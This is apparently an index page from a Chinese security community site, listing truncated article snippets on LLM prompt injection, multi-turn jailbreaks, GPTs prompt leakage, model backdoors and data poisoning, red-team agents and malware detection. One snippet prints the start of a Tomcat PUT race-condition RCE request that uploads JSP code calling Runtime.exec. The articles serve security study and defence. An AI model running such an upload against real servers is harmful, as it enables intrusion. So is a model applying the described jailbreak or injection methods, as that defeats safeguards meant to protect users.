前言 大型语言模型（LLMs）因其强大的生成类人文本的能力而在各种应用中获得了广泛的使用。然而，近期出现了提示注入攻击，即通过覆盖模型的原始指令与恶意提示来操纵生成的文本，造成了很大的危害。 提示注入攻击的基本原理是利用语言模型对提示的强依赖性，通过伪造或篡改输入内容来操控模型的输出。模型会根据输入提示解析上下文并生成响应，如果攻击者巧妙地设计输入提示，可以导致模型误解任务目标或违背其安全策略。

Yale 发表于 北京 · 347浏览 · 2025-01-12 01:12

引言 在数字化时代，软件代码中敏感信息的保护变得尤为重要。敏感信息如密码、令牌和API密钥等，一旦泄露，可能会导致严重的安全问题。 一般安全扫描工具会通过正则表达式进行规则匹配，因为是有限的已知规则模式，这在面对复杂的代码库时可能会产生误报和漏报。本文介绍一种可以与规则匹配相结合的补充方法，即利用信息熵技术来识别代码中的高熵值字符串，并通过大型语言模型（LLM）进一步判断这些字符串是否为敏感信息。

自*徒 发表于 上海 · 129浏览 · 2025-01-10 12:24

引言 远程代码执行（Remote Code Execution，RCE）漏洞是最危险的网络安全漏洞之一，攻击者可以通过此类漏洞远程执行任意代码，进而控制目标系统。由于RCE漏洞的危害性极大，因此发现和修复这些漏洞是网络安全领域的重要任务。传统的漏洞挖掘方法依赖于手动渗透测试和静态分析，效率较低且依赖于安全专家的经验。近年来，大语言模型（LLM）技术，尤其是如OpenAI Codex等模型的出现，为

1660635394122871 发表于 广东 · 4990浏览 · 2024-12-29 05:27

前言 在大语言模型中一个很前沿的领域叫做安全对齐。安全对齐是指确保这些模型在应用时能够遵循预定的安全规范、道德标准和社会价值观，以减少潜在的风险和误用。随着大语言模型的广泛应用，它们的输出可能影响用户的决策、信念以及社会的整体安全，因此，研究和实践大语言模型的安全对齐已成为一个重要的领域。 模型对齐的核心目标是确保大语言模型的行为与开发者、用户和社会的期望一致。在安全对齐中，最主要的是预防模型输

Yale 发表于 北京 · 665浏览 · 2024-12-20 13:17

POC，大家都有了。 在windows系统下，如果tomcat开启了put协议，可以通过同一时间内多次发送大小写混淆的数据包利用条件竞争绕过tomcat的防护，从而造成rce PUT /aaa/aa.Jsp HTTP/1.1 Host: 192.168.2.137:8080 User-Agent: Mozilla/5.0 <% Runtime.getRuntime().exec("calc

151****8729 发表于 广东 · 1447浏览 · 2024-12-19 03:13

声明：此PPT为演讲嘉宾个人的观点和研究成果，仅用于技术交流，不代表先知社区的立场或观点，如有您在浏览过程中发现任何错误信息或者侵权的问题，可联系我们进行处理，我们将依据相关法律法规和平台规定，尽快进行核实处理。

阿里云先知 发表于 浙江 · 1954浏览 · 2024-12-18 08:35

背景 在去年的时候OpenAI推出了可以为特定目的创建的定制版ChatGPT——称为GPTs。GPTs是任何人都可以创建一个定制版本的ChatGPT，以帮助他们在日常生活中、特定任务、工作或家庭中更加有用，然后与他人分享这一创造。例如，GPT可以帮助学习任何棋盘游戏的规则，帮助孩子学习数学，或设计贴纸。任何人都可以轻松构建自己的GPT。 创建一个GPTs就像开始一段对话一样简单，给它指令和额外的

Yale 发表于 北京 · 3153浏览 · 2024-12-18 15:23

背景 近年来，随着人工智能技术，尤其是大模型（如GPT类模型、BERT类模型等）的不断发展，这些模型已被广泛集成到各类应用中，从数字助手到AI驱动的新闻产业，几乎覆盖了各行各业。大模型的应用逐渐成为提升产品和服务智能化的核心驱动力，展现出了巨大的市场潜力与应用前景 比如大模型在个人数字助手中的应用最为广泛，例如智能语音助手（如Apple的Siri、Amazon的Alexa、Google Assis

Yale 发表于 北京 · 2350浏览 · 2024-11-30 05:42

基于深度学习（TextCNN&XGBoost stacking融合）对恶意软件的检测算法设计与实现 本文将基于深度学习技术提出一种新的利用模型融合的恶意软件检测模型。这种方法通过分析恶意软件的动态行为特征，即其运行时调用的的底层 API 信息，利用 one-hot 编码和word2vec 词向量算法的结合，通过将 API 名称及其调用序列特征映射到向量表示，并使用上下文嵌入技术将 API

je1emy 发表于 广东 · 796浏览 · 2024-11-29 13:02

背景 大语言模型的 “越狱” 是指用户通过一些巧妙设计的指令或手段，绕过语言模型预先设置的安全策略和使用规则，让模型生成不符合伦理道德、包含有害内容（如暴力、歧视、违法信息等）的内容。而 “多轮越狱” 则是指经过多个回合的交互，逐步突破语言模型的安全防护。 在多轮越狱攻击中，允许攻击者进行多轮对话，这更贴近现实中的恶意使用场景，相较于以往主要针对单轮攻击的研究，扩大了风险范围。 上图所示就是正

Yale 发表于 北京 · 832浏览 · 2024-11-28 09:22

引言 前文我们分享了构建红队智能体时模型选择/RAG/Function calling的技术选型 (链接),文本主要分享单智能体/多智能体/提示词进化在构建红队智能体过程中的应用. 单智能体框架 单智能体(Single Agent)是业界最早的智能体形态.具体的概念这里不再赘述,可以简单的理解为单智能体应用除了用户只有一个角色,这个角色负责处理所有任务.单智能体也是当前应用最广泛的形式. 接下来我

funnywolf 发表于 辽宁 · 1423浏览 · 2024-11-13 06:19

前言 大模型（LLM）自从ChatGPT发布以来，在数据分析、程序合成等各种下游任务中表现出显著的性能。但它们仍面临一些问题，这些问题大大降低了它们的可靠性。 与传统神经网络一样，大模型容易受到某些风险的攻击，包括对抗攻击、后门攻击和隐私泄露。除此以外，还存在特有的攻击类型，包括提示注入、提示泄露、越狱攻击等。 如下图所示，大模型所面临的特定攻击一旦发生，可以被操纵用于输出特定的语句、或者泄露之前

Yale 发表于 北京 · 1072浏览 · 2024-11-12 13:47

后门攻击定义 深度学习后门攻击是一种针对深度学习模型的恶意攻击方式。攻击者在模型的训练阶段或者通过修改已训练好的模型参数等手段，植入一个隐藏的 “后门”。这个后门使得在正常输入下模型能正常工作，但当攻击者提供特定的触发模式（例如特定的图像图案、音频片段或文本格式等）输入时，模型就会输出攻击者期望的恶意结果，而不是正常的预测结果。 攻击方式 数据中毒（Data Poisoning） 训练阶段中毒

Yale 发表于 北京 · 2835浏览 · 2024-11-02 15:40

降噪的需求 自从引入了态势感知设备，处于阴暗面下的网络威胁也终于暴露在阳光下，但是这又引入了一个新的问题，就是面对海量的数据，人工根本无法分析全部数据，而且大部分数据存在误报的情况，这是因为大部分态势感知采用的规则引擎是使用正则匹配的手法。本文采用的是在此基础上新的引入了随机森林算法，并且通过逻辑回归模型优化了随机森林算法进行二次筛选的过程 随机森林算法概述&缺陷 1）信息、熵以及信息增益

1430764975018111 发表于 江苏 · 917浏览 · 2024-10-27 13:35

cursor作为AI驱动的代码生成神奇，目前在国外已经是非常流行了。已经开始有一部分人开始尝试用cursor完全的接替原本的代码工作。 本文旨在介绍如果利用cursor去解读代码并分析漏洞。当我们更加深入了解cursor时，会被它强大的功能所震撼。 首先cursor无法直接帮我们去分析整个漏洞的漏洞原理和利用链，cursor的作用是辅助我们去分析这个漏洞。 我们需要自己很清楚要做什么，然后把一步步

151****8729 发表于 广东 · 1494浏览 · 2024-10-27 07:20